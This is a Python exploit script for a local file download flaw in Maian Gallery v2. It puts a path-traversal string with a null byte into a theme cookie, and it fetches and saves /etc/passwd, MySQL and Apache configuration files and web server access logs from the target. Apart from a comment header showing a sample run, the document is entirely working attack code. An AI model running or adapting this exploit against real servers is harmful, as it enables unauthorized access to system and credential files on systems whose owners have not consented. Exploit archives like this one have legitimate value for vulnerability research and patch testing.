#!/usr/bin/python # # This vulnerability uses file_get_contents() # so we have some limitations, we cant execute PHP # and we cant read files that the web server will # interpret such as PHP, conf etc # # tested on: Ubuntu Linux 2.6.32 with php v5.3.2 # register_globals = Off # # PRIVATE 0DAY - code by mr_me # Vulnerability found by my special PHP friend and is now patched, hence this PoC ;) # # mr_me@1337:~$ sudo ~/maian.py -p 127.0.0.1:8080 -t localhost -d /maian_gallery/ -o /home/mr_me/ # # | ------------------------------------------------------------- | # | -= Maian Gallery v2 Local File Download Exploit = | # | ---------------------------[ by mr_me ]---------------------- | # # (+) Checking target @: http://localhost/maian_gallery/ # # (+) Testing Proxy... # (+) Proxy working! 127.0.0.1:8080 # (+) Building Handler.. # (+) File download is working! # (+) Looking for remote configuration files and saving them to /home/mr_me/ # (+) Found file on remote host @ /var/log/apache2/access.log # (+) Found file on remote host @ /etc/mysql/my.cnf # (+) Found file on remote host @ /etc/passwd # (!) Done! #
import sys, os, httplib, socket, urllib2, re from optparse import OptionParser
usage= "./%prog [<options>] -t [target] -d [directory] -o [output dir to save files]" usage += "\nExample : ./%prog -p 203.167.876.54:80 -t localhost -d maian_gallery/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The target server") parser.add_option("-d", type="string", action="store", dest="directory", help="The dir path to maian gallery") parser.add_option("-o", type="string", action="store", dest="outputDir", help="Output dir to save all files") (options, args) = parser.parse_args()
def banner(): print "\n\t\t| ------------------------------------------------------------ |" print "\t\t| -= Maian Gallery v2 Local File Download Exploit =- |" print "\t\t| ---------------------------[ by mr_me ]--------------------- |\n"
if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1)
def getProxy(): try: pr = httplib.HTTPConnection(options.proxy) pr.connect() proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n(-) Proxy Timed Out" sys.exit(1) except(),msg: print "\n(-) Proxy Failed" sys.exit(1) return proxy_handler
dltest = "etc/passwd" dotDotSlash = '../../../../../../../../../' findAllFiles = ['/var/log/apache2/access_log', '/var/log/apache2/access.log', '/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/passwd', '/etc/apache2/httpd.conf']
if options.target[0:6] != 'http://': options.target = "http://" + options.target
def getRequest(localFile): if options.proxy: try: proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")] check = proxyfier.open(options.target+options.directory).read() except urllib2.HTTPError, error: check = error.read() else: try: req = urllib2.Request(options.target+options.directory) req.add_header('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00") check = urllib2.urlopen(req).read() except urllib2.HTTPError, error: check = error.read() return check
banner()
print "(+) Checking target @: %s" % (options.target+options.directory) if options.proxy: print "\n(+) Testing Proxy..." print "(+) Proxy working! %s" % (options.proxy) print "(+) Building Handler.." check = getRequest(dltest) if re.findall("root:x:", check): print "(+) File download is working!" print "(+) Looking for remote configuration files and saving them to %s" % (options.outputDir) for f in findAllFiles: checkFile = getRequest(f) if len(checkFile) > 0: print "(+) Found file on remote host @ %s" % (f) filenames = f.split('/') try: ff = open(options.outputDir+filenames[len(filenames)-1]+'.txt','w') ff.write(checkFile) ff.close() except: print "(-) Cannot save remote files locally.. check your path" print "(!) Done!\n" else: print "(-) Target not vulnerable to the file download vulnerability"
|